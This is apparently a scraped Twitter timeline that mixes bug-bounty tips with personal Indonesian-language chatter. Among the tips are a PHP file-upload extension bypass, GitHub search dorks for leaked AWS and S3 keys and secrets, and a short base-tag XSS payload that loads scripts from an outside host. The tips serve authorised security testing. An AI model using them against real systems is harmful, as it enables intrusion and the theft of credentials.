nuzulhook

smart contract

[nuzulhook @nuzulhook]

Probably nothing... I just applied to Alchemy University (@AlchemyLearn) to earn my free web3 degree!

Applications are open to everyone! LFG!!! https://t.co/dfgw4wGRQv

[👑 OFJAAAH → ofjaaah.com @ofjaaah]

https://t.co/Y6gvI1a9H3 😎

Great ideas, congratulations to the founder.

#bugbounty #bugbountytips #dorks #hunter #recon

[M. Qasim Munir @Savitar0x01]

Want to bypass file upload restrictions?
Add ' , . " after the file extension just like:
file.php' , file.php. , file.php" worked on many targets.
#BugBounty #bugbountytips

[Ahsan Khan @hunter0x7]

Github

org:Target "bucket_name"
org:Target "aws_access_key"
org:Target "aws_secret_key"
org:Target "S3_BUCKET"
org:Target "S3_ACCESS_KEY_ID"
org:Target "S3_SECRET_ACCESS_KEY"
org:Target "S3_ENDPOINT"
org:Target "AWS_ACCESS_KEY_ID"
org:Target "list_aws_accounts"

[Emad Shanab - أبو عبد الله @Alra3ees]

“A Quick Guide to Using ffuf with Burp Suite” by @santosomar
https://t.co/fKczHVb7XP

[Frans Rosén @fransrosen]

Took more than 2 years, but just released the postMessage-tracker Chrome Extension!
https://t.co/l1HMf1vL0Q

Look at the functions receiving postMessages directly in the extension, look at the messages and sender/receiver window locations and track everything using a log-URL.

[Intigriti @intigriti]

Testing for XSS via “javascript:” but it’s blocked by a WAF? Try these bypasses.
Thanks for the #BugBountyTip, @SecurityMB!
#BugBountyTips #HackWithIntigriti

[H4x0r.DZ @h4x0r_dz]

Recon 😂😂👌

[Brute @BRuteLogic]

20-char #XSS
<Base Href=//X55.is>

It uses relative path to work so there should such call after injection point like <script src="/path/file.js">.

Inform your custom JS code like alert(document.domain) after fragment (#) of URL if needed.

Useful against some poor CSP too.

[Rohin Jain @th3hokag3]

BUG BOUNTY TIP:

#bugbountytips #bugbounty #bugbountytip #cybersecurity #infosec

[nuzulhook @nuzulhook]

@missjuwita @ardliann Ikutan mbleber karpet 🤭

[YoKo Kho @YoKoAcc]

Bismillah.

A simple write-up about how I found privilege escalation issue.

"Simple Vertical Privilege Escalation by Changing HTTP Response"

https://t.co/8xNz4V9hgB

Note: not much new things. Just using lots of published tips and tricks.

[Bhavuk Jain @bhavukjain1]

Here’s my first 6 digit bounty from @Apple. Blog post will be up next week. #bugbounty

[nuzulhook @nuzulhook]

@ardliann feeling bad

[nuzulhook @nuzulhook]

best hunter methodolgy ...good to try

[Sayaan Alam @ehsayaan]

I was very inconsistent about what should I do when hunting on a program, To make things systematic , I made the list of tasks, Happy to share it with Infosec community. If you have any suggestions modifying this list, You're most welcome. Hope it helps
#bugbounty #bugbountytips

[nuzulhook @nuzulhook]

@nzraqt insyaallah bung @nzraqt sami2 masih belajar juga

[nuzulhook @nuzulhook]

@ardliann lelah knapa emang???

[Abdullah Azwar Anas @AzwarAnas_A3]

Wuihh,,,Ada burung perkutut harga 2M dlm lomba burung perkutut Nasional di GOR Banyuwangi, unik, menarik